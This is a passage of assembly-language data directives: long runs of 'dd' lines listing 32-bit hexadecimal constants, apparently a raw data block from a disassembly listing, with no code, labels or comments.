		dd 0E1C3D222h, 0C90B44Ch, 44074B46h, 0A8A808C3h, 0E0404DC4h
		dd 0FEB5C33Ch, 9277A200h, 7C97E41Eh, 0F7D8300Ch, 11BE2EA9h
		dd 0B0176B0Fh, 48A20009h, 53C43127h, 0BBF290C7h, 0FA22E833h
		dd 7F0488Eh, 0CA94F10Dh, 0EB104221h, 6FAF4620h,	0DCE000B3h
		dd 3412BF5h, 9803888Bh,	0D43221ECh, 2AA900F9h, 0F1B9DEE1h
		dd 9F057CC2h, 77FF01D9h, 0E9AB87h, 7426E968h, 1707D28h
		dd 0A8837B3Fh, 20D1EC9Ah, 0C460DA24h, 7AA9D081h, 18BD6061h
		dd 43A3267Ch, 9DC7D702h, 1B5D56Ah, 246C3F94h, 470310D0h
		dd 0EBA81A7Bh, 32CDD81Fh, 2048992Ch, 2608DC90h,	8464C04Ch
		dd 40217817h, 0FC038865h, 844C2C00h, 0EE5F93F8h, 56FB01B3h
		dd 0F4BC66E8h, 14A980CDh, 0FD77C749h, 42810044h, 790CA49Fh
		dd 0ED16DA47h, 143AC9DFh, 9D002323h, 4A49E428h,	1F0230A4h
		dd 0C7BC6DC8h, 0F980D099h, 5DD54EDCh, 0C52800ACh, 4997DF6Ah
		dd 6E50309Bh, 10E08B90h, 51FF4013h, 3F0BAC20h, 0A7B0068Ch
		dd 28B4709Ah, 0E13BC303h, 50A40A28h, 4890E8B0h,	6580680Fh
		dd 0EB8BC3E0h, 18503775h, 6CA44C0Ch, 91C3473Ah,	248833A8h
		dd 203FE18Ch, 8D730984h, 800D635h, 0F53A6622h, 88009499h
		dd 48F3DB57h, 0B8B52CEAh, 897D03CAh, 60A7D85Fh,	0E96B32FFh
		dd 8C3C704Ch, 248991F4h, 13D4148Fh, 484021D4h, 1442042h
		dd 3A2524h, 18C6FF74h, 0FE1899ACh, 0A7C93547h, 3910C8DDh
		dd 4CA2A982h, 0DF5449C7h, 8430FCE5h, 1B00F190h,	0C34C9B66h
		dd 0D4E68438h, 4276FB30h, 11F49523h, 0F3410F23h, 7268A476h
		dd 4CFF8AC1h, 2C029022h, 1F238D75h, 364614C4h, 4DAE1201h
		dd 0B09034Ah, 39ADC550h, 7A840A5Fh, 0D41F2581h,	0F2B4A2DCh
		dd 20D73158h, 19F4AB10h, 0CA929F05h, 940DC527h,	184E2975h
		dd 0DC14C88h, 0F5CC603Ch, 0C6CC0134h, 0AD832039h, 82B840C1h
		dd 0EE489EDFh, 0A4B87CB4h, 4DE16B60h, 538CD730h, 0FE2BCD0h
		dd 0E4208431h, 30114818h, 7B6B7300h, 0FCE994C3h, 16642CA7h
		dd 6C60E260h, 103CB95Ch, 2C1224E3h, 882C8FEEh, 3BCCC025h
		dd 0B09C78F1h, 109DD189h, 0E85D4C74h, 0C6E5146Bh, 41D89847h
		dd 0F10F761Ah, 4CECC4Fh, 0F0B23A30h, 0CFC05F1h,	397B59h
		dd 44E291C2h, 0C49B1F5Bh, 52D4BC50h, 0BF68A360h, 4C02B44Bh
		dd 4F066809h, 89502A4Eh, 0D2F05700h, 0BA859329h, 509031Fh
		dd 0D4941173h, 6EC063A7h, 0E13122D8h, 6C4DEE09h, 463840EFh
		dd 9E7D0B78h, 1821D49Ah, 203385F5h, 1F400B08h, 0BA7200A6h
		dd 0E1374DB6h, 40EB2B90h, 270B1BCh, 0BC28957Bh,	101F412h
		dd 0F28777Dh, 5B17F9D8h, 0B63C7E01h, 0E8DBC81Ch, 554CCFF6h
		dd 8CF9BC28h, 21699826h, 0FFF88806h, 5E109618h,	0A2000446h
		dd 2E4805B8h, 7E097D46h, 24ABE892h, 42605120h, 0A82EFAC3h
		dd 0F670403Bh, 56C3003Ah, 997D4AD8h, 0A03F35EBh, 6D48864h
		dd 0CB4200D1h, 0BC3EF4BBh, 1463AC90h, 0BB1D8E19h, 9D9CE8DFh
		dd 0FF1B02E3h, 0C4116AA8h, 0A0E5C480h, 0D301701Ah, 6CC871A6h
		dd 58F39ED0h, 0E3100CE9h, 0CAD2003Dh, 583794C7h, 6EC4A004h
		dd 7529C9E6h, 4A9C1C01h, 0F3AF001Ch, 0C474A5C4h, 6A256057h
		dd 1B450F22h, 0D1600390h, 1865E16Bh, 0CE6F9500h, 4128F762h
		dd 1898586Eh, 0FC8CF6E8h, 2B4B119Eh, 0FF8F0E1Eh, 98EEA0FCh
		dd 244F4A11h, 8607CA7h,	3E0712B3h, 0DFB0A693h, 1CE5F34Bh
		dd 12A25C4Ch, 0F1DC0050h, 17FAEE75h, 0E0667E01h, 0D7EF56B4h
		dd 8C3C3465h, 8C4EE8h, 777048EAh, 0EEBF0A9Dh, 7C83714h
		dd 0A32105BCh, 0E009CA34h, 91DC9DABh, 0C9F68123h, 44FAC695h
		dd 0C54300F0h, 0A0CF9CE6h, 0CB01AA80h, 54A6C787h, 60F1C686h
		dd 2CAD6BCCh, 0C2643A1Fh, 84E1AE0Eh, 0B08038E3h, 0E2ADE502h
		dd 7057006Ch, 5F94928Dh, 1B18A428h, 7A49636Dh, 9622011Eh
		dd 0A2854DE3h, 5B602405h, 3D804099h, 0D644D829h, 5DAF3A36h
		dd 32670200h, 0C6075812h, 0FA4DC07Dh, 5AB50008h, 93D8B3A6h
		dd 7217CF0h, 7B4FFD45h,	4C174985h, 59802491h, 0B2A09BEFh
		dd 78BCBCA0h, 0F7463305h, 0C02FFD22h, 69004D23h, 75E26496h
		dd 94AB002Ch, 1AE7DEB2h, 0A2051989h, 53172434h,	0F8E138B2h
		dd 1DA0CFBh, 62248AA1h,	51CCF428h, 0FCFC65C4h, 3E7207D5h
		dd 642A03Dh, 4F2C4649h,	80BA4899h, 0A5588900h, 4B832DA0h
		dd 49F7A103h, 0F0426584h, 14D1E416h, 0D00177A8h, 0B4C1057Fh
		dd 88C51FBBh, 60744558h
		dd 465EF49Eh, 5AD90509h, 84EFC58Bh, 0EA840185h,	626F2291h
		dd 7C2A1EE8h, 0C4476605h, 8CE5F088h, 430876E0h,	6454AC95h
		dd 0F8404108h, 90E85D76h, 0D4EB0022h, 0EA18B40Ah, 0FB2C6C4Bh
		dd 7B41582Bh, 0AC50FF87h, 32CE3F1h, 0A36951DAh,	4EF8DDECh
		dd 0FF0A3766h, 90AEFA01h, 0BC208100h, 0F8AF89FEh, 0D3B434D1h
		dd 0F1B8E241h, 190CFC02h, 48B97E01h, 21A4FAB1h,	0CC61D6C9h
		dd 8B70063h, 2C821EC0h,	9C6201EFh, 0D6CDE46Eh, 438C500Bh
		dd 881D2E6Bh, 9A807CF5h, 7A331A14h, 86670126h, 0E4DF9525h
		dd 176830F1h, 37AD760Bh, 6E0C034Ch, 0F290235Fh,	0D844A01h
		dd 0E5078h, 584522Ah, 6A9623h, 3EDD2988h, 5528E513h, 0BA9074E5h
		dd 683E335Eh, 99388C7Fh, 8834F04Ch, 18CE491Ch, 0C2FC109Ch
		dd 0C0505CE2h, 9E12EAh,	0AF467A23h, 0BC758E15h,	96C44D15h
		dd 78844CCCh, 0B516977Ch, 58803923h, 0C11346B4h, 0DC84C520h
		dd 88984E52h, 0E280CE02h, 0D96493D4h, 0CD1A7479h, 6781436h
		dd 2A11F244h, 7EC12D4h,	0AEB0CB90h, 0EE46004Ah,	2B007B3Dh
		dd 54DC129h, 6C781E2h, 0D7AD7562h, 0FF09B03Ah, 0C18CA2A0h
		dd 0EC24CBE0h, 414726FEh, 0DE68A614h, 0D74B2A00h, 0D265DDDBh
		dd 904758EEh, 0CDB0A180h, 1758FEF1h, 3052A29Ch,	0FD16C345h
		dd 6C3843A8h, 0C33D0EDFh, 873ED9Ch, 0BB8027F0h,	1DB176E5h
		dd 0B6F6047Bh, 0D0F8D80Bh, 975E8A28h, 5B00F4E0h, 0BD9B8278h
		dd 9051281h, 2396A422h,	18F3B811h, 18840E65h, 8AB23878h
		dd 4D2F00B8h, 21813D84h, 352400F6h, 834845AAh, 8B80D0F9h
		dd 0A11B6078h, 0CEDF44E1h, 1C416600h, 5EAF656Ah, 9F190503h
		dd 0C01263C1h, 6F6BE5D0h, 23C04758h, 0AE19013Fh, 68DB4A64h
		dd 1003B024h, 88F701AEh, 9DCD1FB6h, 0A2A82324h,	36230F9h
		dd 194B3200h, 22B5BB70h, 0F9509FEFh, 0C4A71CA1h, 0D901FEE6h
		dd 43E97585h, 57F97261h, 27B577D4h, 840B4EF3h, 0BB912017h
		dd 4DE0458Eh, 0CA2E622Dh, 8BCE6E01h, 0AB3889D4h, 99E04876h
		dd 8D1776EAh, 0A06FB62Eh, 0BD9CE206h, 5B4CF907h, 26661787h
		dd 97ADB4C0h, 0B44E8057h, 180B8E35h, 8CDF4080h,	2889E02h
		dd 3221F764h, 58031860h, 13A9B180h, 0D163FD72h,	1DB8A0h
		dd 1E247778h, 434219DDh, 98A6CE65h, 0E0A2E8C9h,	740004D1h
		dd 0E112B78h, 6C8370Bh,	0B0A91BA7h, 71081893h, 3C6FF5h
		dd 1A39FBE8h, 4E014894h, 3824FEA3h, 518195BBh, 4AA6ECB8h
		dd 0A703DC1Fh, 0B0091766h, 0F4D80021h, 110DE9A6h, 40DA3083h
		dd 0E6B96048h, 898C0A2h, 70EC554Bh, 28B4660Ch, 0DEF30969h
		dd 55534021h, 3389EDD1h, 0D906D200h, 256D0AAAh,	0C4201980h
		dd 483258A7h, 0A604F24Ch, 4181F50h, 0D220A432h,	626A6FAh
		dd 0BAE46415h, 0EC0019A5h, 0A569449h, 9AE5DBh, 0AAACD60Fh
		dd 0BE84373Fh, 0F76B6506h, 31129Fh, 4877F398h, 0F0378E1Dh
		dd 8154761Fh, 0E7FE2800h, 0C0278052h, 0E4404429h, 230C9DF0h
		dd 9A59487h, 9C21DF2Eh,	0AC2B8037h, 0C4B61DD5h,	643CB53Eh
		dd 3F605348h, 9D21EDE4h, 36E7C33Bh, 6A1D2000h, 5322CE6Ch
		dd 3D23069Ah, 5091C309h, 69431B07h, 9380C2F6h, 0B0C46174h
		dd 99420060h, 1BA3B5D3h, 30C008ADh, 250D6D05h, 0B4C654C7h
		dd 0F3048C33h, 101F4FA6h, 0D120AF62h, 1F5CA6FBh, 0C1867E1Bh
		dd 99D1FE3h, 0AF708C98h, 0A4589065h, 0E43A0470h, 62539DEAh
		dd 31A02F39h, 0DB5B1BE4h, 448B250Ch, 8C3599C8h,	4DA6F10Eh
		dd 0D3E0101Fh, 117AA6F9h, 0F0481B00h, 0B5949F20h, 37B980AEh
		dd 80281C65h, 68F1F420h, 388648BDh, 0EFC037C8h,	211F4BA6h
		dd 0AE9103F0h, 0F7D512h, 0AF020C3h, 0EAE8B90Fh,	0A51C8FF4h
		dd 78F1119Ch, 30A891D2h, 0E9142030h, 0E7690A00h, 0D6F1181h
		dd 0C82F29ABh, 18AC7940h, 5E01006Bh, 0F22DCA93h, 80306822h
		dd 0B1DDE121h, 74C00707h, 70D1A6ADh, 9295C5EEh,	0EA066E7Dh
		dd 97A2C6A5h, 0A6B93050h, 64D5B759h, 0D1883E03h, 905448DEh
		dd 1915BCh, 0EAAE062Ch,	99CBEED5h, 0E869A924h, 0E11100A4h
		dd 0F3555080h, 0E08C2E70h, 582380A3h, 0DE425500h, 41A836C2h
		dd 0CE402F0h, 1FE7ED67h, 64239800h, 605E980h, 41CFFB9Ch
		dd 0E90082F0h, 0C1A3A67h, 3A21E449h, 8B3748D4h,	20E1E721h
		dd 4F0FB446h, 66522F02h, 2035D0CCh, 17D94373h, 6B018890h
		dd 889D5164h, 21A4A1E2h, 0D09B0500h, 0FA40484Dh, 6167EAC2h
		dd 404804A4h, 0E2688895h, 7827CEDEh, 749C1FEEh,	9198292Bh
		dd 554D80E6h, 8C5670EEh, 2621FD67h, 423620FEh, 120CAB9Eh
		dd 3B23C83h, 2A1F9F66h,	649D5904h, 3C809205h, 572B5F0h
		dd 0B11B7049h, 2B3BC2FCh, 0FE113C97h, 0D85AA880h, 0EA034D42h
		dd 90D1C5F6h, 6950007Dh, 0DA928983h, 0A513F2AFh, 0B500C7C9h
		dd 6782CB6Ch, 149F18E3h, 0DA8DA159h, 2E7F1512h,	0F4287801h
		dd 13C44935h, 0C79F00B3h, 0E786B6D2h, 4B303DECh, 43F020E8h
		dd 320412C5h, 1C190099h, 133FEE81h, 0EF444090h,	962324EBh
		dd 5F88160h, 82946FD1h,	0BD1B7110h, 0D4F4840Ah,	0F1194D1h
		dd 93231080h, 711472B3h, 426B1519h, 84DA7498h, 4A60E794h
		dd 7023ED55h, 1F4115Eh,	11555229h, 2491D1h, 32F9002Fh
		dd 26BAACB4h, 5D0706B8h, 3307B0ECh, 0C7278510h,	975C28D1h
		dd 0F8EB13A4h, 579C0870h, 0E9E43BC0h, 225B469Dh, 32EB003Ah
		dd 292E5DE4h, 80E718A0h, 9E7CD219h, 190EFF67h, 0D833EBEEh
		dd 6414224Eh, 3D605568h, 9D21EBE4h, 34E9C04Bh, 0A60043E4h
		dd 3FBDEF76h, 291D3660h, 7B944D67h, 7A18A382h, 0F447018Dh
		dd 431D713Dh, 57A08123h, 4B1BE37Ch, 6480F5EBh, 9BC4D30Ah
		dd 205978CCh, 6664AD00h, 2241F955h, 0BF120C81h,	34299CB9h
		dd 45E3C400h, 0B27DDF43h, 557F008Dh, 706CBD90h,	3E6097EDh
		dd 0EB042598h, 430931Fh, 0C03BF142h, 0D3F2538Fh, 2584BB00h
		dd 89B46F0Ah, 937824D9h, 67E344B8h, 70F15590h, 0F5448C3Eh
		dd 55561F25h, 23B0C131h, 64C2FFBDh, 0D8AC51F0h,	0EFE44105h
		dd 0A88E2B9Dh, 2038E518h, 0A70399EDh, 0BA17AFCEh, 85C1039Fh
		dd 0D28E5EDCh, 1FBE9D98h, 0BA318C90h, 406A2193h, 2120AE8h
		dd 4B9C3A8Dh, 98400B21h, 3D13578Ah, 8460F998h, 103C67EBh
		dd 0C848FC1Ah, 0E3658796h, 43745167h, 885074A1h, 0CCB65809h
		dd 0FEDC0205h, 11F40826h, 0A6EE8036h, 0B1F81F4Ch, 0F6D6C080h
		dd 0C900BBA6h, 0AE1CD2F3h, 962ED7Eh, 83B8D995h,	9219AC22h
		dd 58099451h, 0C5B83A99h, 6039C4C4h, 1270DF27h,	2C41771Dh
		dd 58C54ACh, 9DEEE43Eh,	0E6282833h, 7BE43501h, 0E7E36E5Ch
		dd 0CEA2024h, 0E1A6CF65h, 25F1B310h, 254C5084h,	0F0801CBFh
		dd 95742E9Dh, 9C7B9FBCh, 97E38B23h, 18F75811h, 3E6705EDh
		dd 8B48EC1Ah, 0E5630798h, 45505B67h, 31877668h,	0BE8D77Ah
		dd 72170055h, 0C3E70725h, 0C07B961h, 52E06A02h,	110ECDA3h
		dd 40C35A20h, 4245489h,	8446681h, 421D211Bh, 5DC0C352h
		dd 5592ED1Fh, 832714FDh, 1DBC26C1h, 1521008Ch, 0C8599CE1h
		dd 0BC9838A0h, 0FABF0F07h, 8651D93Bh, 30870139h, 0E0D5BD89h
		dd 8C6607E0h, 507291FFh, 22C35887h, 19314489h, 0C3504010h
		dd 43186600h, 51CDA898h, 0E9D70F81h, 5E6080C7h,	0F04C1F6h
		dd 91E88429h, 5E875691h, 748922C3h, 46101C31h, 2F00C356h
		dd 0E39123DAh, 76575Dh,	0FBB70F92h, 1AE995FFh, 0B82DC4D0h
		dd 0E00E8C1Ah
		dd 4088E366h, 0F08B4F0Ah, 0FA5CC75Bh, 5C2AFA2Bh, 83031946h
		dd 0C5886559h, 0DD8589B8h, 3DA23061h, 28A00834h, 355F68C4h
		dd 1B4774BBh, 0C0CFBE03h, 8BB0B8B5h, 0F1BFC60h,	0D027058Ch
		dd 0A8DD881h, 3FE96123h, 9817F436h, 5F024B3Ch, 40FA6720h
		dd 8024F51Dh, 0E0E5C08Bh, 10C40201h, 8788E952h,	0EEEA1E06h
		dd 82A8C138h, 0C9C38B5Eh, 578691D8h, 88BC5F8Fh,	18C47C89h
		dd 0C3574740h, 2A1C9497h, 6B80ABBEh, 0C71249E2h, 0C0E17085h
		dd 309F37Ah, 1463E81Fh,	0E8C6D239h, 11A81BEh, 490E743Fh
		dd 84306D7Ch, 4651D7E0h, 8E0F5181h, 1BD69C58h, 0DC5F55FDh
		dd 398CAC76h, 8912C35Dh, 4558386Ch, 0CEC3550Fh,	6185E09Bh
		dd 40D1EC22h, 8108F9BFh, 151391BDh, 297D94D0h, 91D04B85h
		dd 0C35B8753h, 315C8922h, 53431016h, 0A7D73AC3h, 2E85FF14h
		dd 19E25B42h, 0B062F033h, 98A67488h, 0B6FE611Ah, 49B5FFF7h
		dd 88DE0B2Dh, 14CCC017h, 87900E3Fh, 0A01A6920h,	0AD18A9DEh
		dd 4213E02Bh, 8908336Ah, 1431618Dh, 1BB82690h, 2232008Ch
		dd 0A4B08EDFh, 0AA90ACABh, 6E53FB24h, 60B3E519h, 16ED0E88h
		dd 0A733C128h, 0FCA51494h, 13C5BB00h, 61265CF5h, 4674E15Eh
		dd 60B21F14h, 0BA55C140h, 300F0B9Bh, 33230C82h,	216F759Dh
		dd 178B8D6Ch, 10D6B9C0h, 226757B7h, 0B6BB5C08h,	0CE301718h
		dd 0E8A061CEh, 896453F0h, 0BE0029C8h, 43ABAEA1h, 75185E62h
		dd 16370906h, 782F5880h, 2184229h, 9D89CF9Fh, 0F1240431h
		dd 1488718Eh, 2BCC87C4h, 0B38A00D6h, 0C0A8E99h,	5154B58Bh
		dd 7DA0E8D0h, 0E30079EAh, 529F4505h, 6BF6698h, 0E95E1C14h
		dd 0A500250Ah, 0E07B8D15h, 3F84D7DDh, 74A448ACh, 0ACEA3878h
		dd 70D11CDh, 5A49BE50h,	0DC04124h, 0CB1B11BDh, 6B37C1D7h
		dd 49EA5380h, 71BA9B0h,	81030C6Bh, 7B3D50C7h, 470EB3Eh
		dd 1AF92CB9h, 4A027318h, 0CCE66517h, 7D9582E1h,	0BD29002Bh
		dd 0CC12521h, 13C9858Dh, 0FE8B5000h, 24048912h,	1823003Ah
		dd 2EA72C00h, 0C45788E5h, 317D966h, 13E85Eh, 620C9C2Bh
		dd 0B7AD8A10h, 0D9B5630Eh, 531F8081h, 0E262CFBh, 9D01BBA8h
		dd 5F3EF13Dh, 0B28F336Ah, 0F6E83019h, 42AA6303h, 48FA8BDBh
		dd 0CE0CF346h, 3CFE59A5h, 7E41701h, 12999589h, 0C0837280h
		dd 6090F905h, 3A82AA90h, 8CC8A585h, 7800CE32h, 8663F27Eh
		dd 6218CFh, 0B25D74E4h,	0F42F84F8h, 75BBC900h, 9596B866h
		dd 50612459h, 0C8B40548h, 0C7470390h, 0E139926h, 32249531h
		dd 34419281h, 0B88A0F01h, 9D8D0275h, 67E3A393h,	601C649Eh
		dd 4E9776h, 0E7E567E1h,	0D3FF5D96h, 17D13491h, 97B8FB18h
		dd 1341E458h, 1F7B20FDh, 2742300h, 8B27E64Eh, 0EA2A11B6h
		dd 5D7EE850h, 46ED8115h, 0A20A53DAh, 0CA84301Dh, 0AF7CECE0h
		dd 179E520Ah, 0D509FF99h, 0DFEE902Dh, 0E1D8B134h, 0C201AD86h
		dd 407AD253h, 38D600Bh,	0EC3FC298h, 0E9C29DDCh,	1C009044h
		dd 0A22D29ADh, 1D1DD64Fh, 1EFA3D73h, 0DBBFC2CFh, 0F087BA6Fh
		dd 0AF2019B5h, 19D8B61h, 0F8FF1E58h, 0FA008C1Ah, 0F06D3CBAh
		dd 0B9E86A54h, 0D990389h, 80FCC186h, 5F0FD15Bh,	25E38138h
		dd 91E91D01h, 7F8914h, 6F2EF7Bh, 0B6DB4C0Bh, 0F92CC022h
		dd 0E04079E9h, 0C4AD99h, 6EE27565h, 0DF157FD2h,	0BCBD831Dh
		dd 0CA200264h, 1F488425h, 80161172h, 0E930D942h, 6423A793h
		dd 5A41601Dh, 54C40016h, 8CC5F8Eh, 8551C793h, 991755h
		dd 1E17B860h, 0E9379016h, 0A0805B27h, 16F141BEh, 0B9D328Eh
		dd 581186D8h, 0FBC948E9h, 37539B0Fh, 0B13B4D68h, 15A20323h
		dd 5C28A430h, 22231F9h,	59849190h, 370415E1h, 0DD102B0Dh
		dd 8B8FE604h, 313B8D8Dh, 5DD30h, 72FF2381h, 0E7D8E7FEh
		dd 0B8B605E4h, 9E84Ch, 5D9E9867h, 0C502D724h, 9501471Bh
		dd 5FB648B5h, 0DB8C2466h, 1846742Eh, 5F7C91Fh, 0E8C235h
		dd 0D92B561h, 977F2591h, 0CFB1601Ch, 5F4461DCh,	53E0C3F6h
		dd 1DE4873Ah, 0EF67067h, 6D0459FBh, 0BBFD812Bh,	884C51E3h
		dd 2C31D510h, 35A4B350h, 0F9ED6206h, 80F99A26h,	0A418F5A5h
		dd 257520ABh, 316FB04Fh, 0A5672100h, 2FC6EBDFh,	1060A65Ch
		dd 0E6132D5Dh, 23A33A70h, 3FB8801Bh, 0F7BEDE42h, 0C051A348h
		dd 56CF24D5h, 8E0F22CEh, 7148E4E0h, 8C17E8ACh, 227A791Eh
		dd 0EC63BCACh, 0EE77D19Ch, 98C3C7FDh, 0F25B2631h, 0D1F905E9h
		dd 0C769C902h, 0AB40FF2Ch, 0F5E2860h, 23D8B603h, 1A107DBDh
		dd 5306BAFEh, 52588EE2h, 135B525h, 4E8C1E9h, 14885B4Bh
		dd 80E9B3C2h, 63114509h, 59CA00AFh, 3637E17Eh, 9F0F138Ah
		dd 40C68850h, 66808230h, 70E264F7h, 0C3596151h,	874C89C8h
		dd 0C3514102h, 4037781Eh, 0D8492B2Fh, 0E5BC64h,	9D99303Bh
		dd 0C7076D7Dh, 9C20D44Ah, 156195Dh, 0C361B420h,	70FDEDA0h
		dd 0F0098B69h, 98241C89h, 504CFB69h, 272D845Ah,	253A2762h
		dd 15113A97h, 0E31C4184h, 19D6401Dh, 93901048h,	0B6305204h
		dd 7F2E6B84h, 0D40C1523h, 402D56F7h, 5C90FC2Ah,	51D12C4h
		dd 0CD813C09h, 3D024283h, 18DE8ABh, 1943A707h, 89DDF04Ch
		dd 295957BAh, 148FA252h, 0C514631h, 23259D29h, 0E930C3F9h
		dd 1F31B10h, 9868F4ABh,	0CFA40063h, 1B449DD6h, 30240524h
		dd 0BF8164F8h, 60D7EF03h, 9F663425h, 3AD6C0F4h,	711E8CCFh
		dd 4C5B6D21h, 8A2BDBBEh, 737C73D8h, 1D97589Ah, 5D811911h
		dd 0CD38F67Fh, 3DD4417Bh, 0B812225h, 0A96E880Fh, 0C00DCD55h
		dd 3060A158h, 0DE71B42Dh, 0B533044Ch, 209FE145h, 0D1A4862Ah
		dd 33A17EC4h, 0F50BC816h, 797AB898h, 9CEFD082h,	0A7F6DCD1h
		dd 1DF96D07h, 5F45514Ch, 0B9FCEBB4h, 1819F904h,	6A970072h
		dd 89C60736h, 15EBD9Dh,	28DA0C65h, 33655280h, 0B2889ACh
		dd 4D208D91h, 440BB606h, 0CF65548Ah, 45ECE77Bh,	66389780h
		dd 2C14010Bh, 0BE5BBFA9h, 0ACF96DEAh, 0F6008C18h, 0D8FB03Fh
		dd 905BF38Bh, 7E71F25Dh, 9D010B2Bh, 0D7650821h,	53593511h
		dd 0E9342820h, 0E73B1441h, 0B11E1623h, 8D293FC1h, 11750901h
		dd 0B615BA20h, 808CA1ADh, 49D5BFE3h, 0BFCA129h,	82FF673Ah
		dd 994D9BFDh, 0EBAEDA50h, 2419C488h, 0E6095E17h, 3F55E01Dh
		dd 13C2252Dh, 0CD051637h, 0E40A603Eh, 0F88B91A5h, 0F8FA1B61h
		dd 69BC02A2h, 8A37BA44h, 31358Eh, 9227070Dh, 0BD010D57h
		dd 686E1D11h, 0BF3EF29Eh, 2D1E00C2h, 0E800F91h,	49E919C9h
		dd 6EF05252h, 0D9720FD5h, 0CCB67480h, 8D7689B2h, 352D509Eh
		dd 90149191h, 1122F6h, 9D13F062h, 479CC7FFh, 1F01A575h
		dd 6F20175Fh, 81663769h, 3D8D0904h, 29900015h, 0D71C05BDh
		dd 805F9B0Eh, 317988A9h, 7389589Ch, 4C5564Ah, 1333F12Eh
		dd 4D34E01h, 0A0200B8Dh, 72C44C96h, 0AE1CC926h,	0E02DC53h
		dd 0B4B7E8BAh, 33EB813Eh, 283CB1BDh, 7FBC6C49h,	30EAA805h
		dd 0D2A61CDEh, 42515BE0h, 95A8B002h, 844581E3h,	0D28871FCh
		dd 85527B5h, 1A91799Dh,	2E7BA380h, 0F8283371h, 3D76A2DFh
		dd 1C5E5182h, 0EAF2408Fh, 0F209C92h, 86388E59h,	0B8D2FB1h
		dd 67E95EF9h, 0FBF86162h, 2C59AEC5h, 6A4B55B3h,	0C9A30B8Fh
		dd 64496D88h, 9FA26017h, 892F5929h, 0DD1C5D16h,	0F0D23641h
		dd 13EDEC2h, 0F5C71EA0h, 0CB8A0F1Dh, 805D235Ch,	0BDFCB87Bh
		dd 85AC0E6Fh, 90A9F339h, 37B06007h, 8BED4050h, 66F70AFCh
		dd 0BFD0F0D0h, 80FE0338h
		dd 31B52BE3h, 1148884h,	8F491242h, 340028BCh, 0C620F8DEh
		dd 0A0E86D46h, 0D3446Dh, 0A9BA09DFh, 0E294AF4Dh, 90259AB6h
		dd 2A757B9h, 0FC0FD0D3h, 0AEC005AAh, 196571B5h,	0C31E5F96h
		dd 76E42248h, 7B001A46h, 7F6036EDh, 890B7093h, 64070195h
		dd 3485EEA7h, 0A11226E1h, 4504119h, 0F1E56624h,	6BF06DA8h
		dd 0C4AAA767h, 0EEE601Ch, 187007E3h, 6DF5151Dh,	0B8882D48h
		dd 0FBEF01ABh, 34551348h, 0ADF08B75h, 1E56E28h,	0CBDB13BFh
		dd 78890F75h, 6EF2CB2Dh, 0C442A5EDh, 0E9386018h, 7E5309F4h
		dd 3D05D3FFh, 9DBA56B9h, 0A82979D0h, 12AE853h, 19FEE3DCh
		dd 6C075CE9h, 2215B1CFh, 0AC642C09h, 0C9258C15h, 88966728h
		dd 8B86EA86h, 2CFE99Dh,	6680D781h, 4ED93E33h, 451E33A4h
		dd 0BD33B4E0h, 0DAF8185Dh, 83586D90h, 91202DB3h, 6610113Fh
		dd 8CB8AABEh, 12606244h, 5FA59D09h, 35C96EFFh, 0A08A33Ch
		dd 60C810Fh, 0BD068B08h, 0ED9BCF81h, 0DC66517Ah, 771293DEh
		dd 0F79E34E9h, 0F7850AC0h, 0B4240530h, 1D08D453h, 4F5F1414h
		dd 0F948229Ch, 1FE92F4Bh, 851511EDh, 0BB34FEEh,	88059A40h
		dd 0BC16DBBEh, 0FB86187Ch, 21C716EAh, 41CD88B9h, 0A100538Ah
		dd 1816517Fh, 0F7A94C65h, 40F9E92Eh, 0F2B25FD4h, 8218EF00h
		dd 0C64D7658h, 2A4126A9h, 8A3A650h, 0E90D10C5h,	6F4E73ADh
		dd 6C51788h, 51371EC2h,	78D40034h, 0FB16BB14h, 4A2D810Eh
		dd 0B50301B0h, 0D26823F1h, 80F49AD7h, 6FF7AA06h, 9E390026h
		dd 3FBE168Ch, 7F16C7E0h, 8F3071E4h, 14E766Bh, 60199FD2h
		dd 3C1142F8h, 0B5890B46h, 0B1229325h, 9E691D61h, 0FE5E0992h
		dd 10124AE1h, 9BADA6h, 7BA9D0DDh, 2A467D8Ch, 14CF801h
		dd 7EE82B4Eh, 9EF65270h, 4909274Eh, 1DC101CDh, 0D8D869D0h
		dd 0FB8B27E9h, 1691439Dh, 0CB43B980h, 0D92D8589h, 1CD5A40Dh
		dd 50990292h, 0D6649EBAh, 8021446h, 209BD89h, 455A865Eh
		dd 6114C44Ch, 6F2AB0EFh, 4AB80048h, 7212C1AEh, 0ED6C7F40h
		dd 10443921h, 78B80AEDh, 2FD9EB00h, 85312CB3h, 23A6A8F9h
		dd 6152DB5h, 3FBCA31Bh,	23091423h, 0F85308FCh, 0DE109F4h
		dd 0BF90E85Eh, 0E00E583Ch, 40B5F2D0h, 6B2147A8h, 0BD3117C2h
		dd 5F67495Dh, 31617D1Ah, 29C1290Dh, 17D1DFC3h, 0DE123618h
		dd 8521944Ah, 0D3F5C681h, 3D418A25h, 6A6922F5h,	25CD7462h
		dd 0F9315803h, 796815FDh, 356B5CC8h, 8961808Ah,	0CBC6FF96h
		dd 0D2F4E216h, 85B6689h, 12217CC0h, 4C585492h, 50522E2h
		dd 0A4647EBFh, 2E8BA10Bh, 48003A6Eh, 3E2379AAh,	29485E56h
		dd 3DC945A6h, 0A4D4218Fh, 1C465CD9h, 0DE8CC600h, 0B718EAC0h
		dd 606BE413h, 61965D1Eh, 2EB69184h, 0B3F3DDE0h,	6C39907Eh
		dd 118C2DA1h, 3E3E638Dh, 1A2309h, 0EBA2B1B4h, 48595A5Bh
		dd 0D888939Ah, 8ECC0545h, 0C05B90A7h, 8969145Bh, 0B19D25h
		dd 81C32B17h, 11BA0BCEh, 884C2AE1h, 5601344h, 6DBD01FCh
		dd 0E970D22Eh, 0F2B82F64h, 0CF5EF739h, 0A5CD7030h, 0CA5A000Dh
		dd 5087D206h, 441D0580h, 70096443h, 0A115F90Ah,	181971D8h
		dd 1B2D0558h, 0C4787A6Fh, 551A968h, 7F35FB9Dh, 5A80A59Eh
		dd 2D019D95h, 0A85FCA1Dh, 96BD8D4Fh, 0BE50D790h, 19B10BE4h
		dd 58475E71h, 1DFC5F90h, 74AE0B8Ch, 0DD02642Fh,	0CEC22E23h
		dd 4370576Ah, 6D033A9Fh, 65156007h, 0A00258FCh,	7163D328h
		dd 0F1FBC02Eh, 0DA6A8220h, 0FEBC816Ch, 64C96226h, 0EFF4004Dh
		dd 0F0D3472Ah, 0D7260EDAh, 311C68BFh, 905E2460h, 195D083Bh
		dd 0A1116E24h, 1AA2FF43h, 6273230h, 0DFF1A057h,	212C5CC7h
		dd 467CD51Eh, 68C90317h, 31F92B2Dh, 9BEFBFAh, 0E07D541Bh
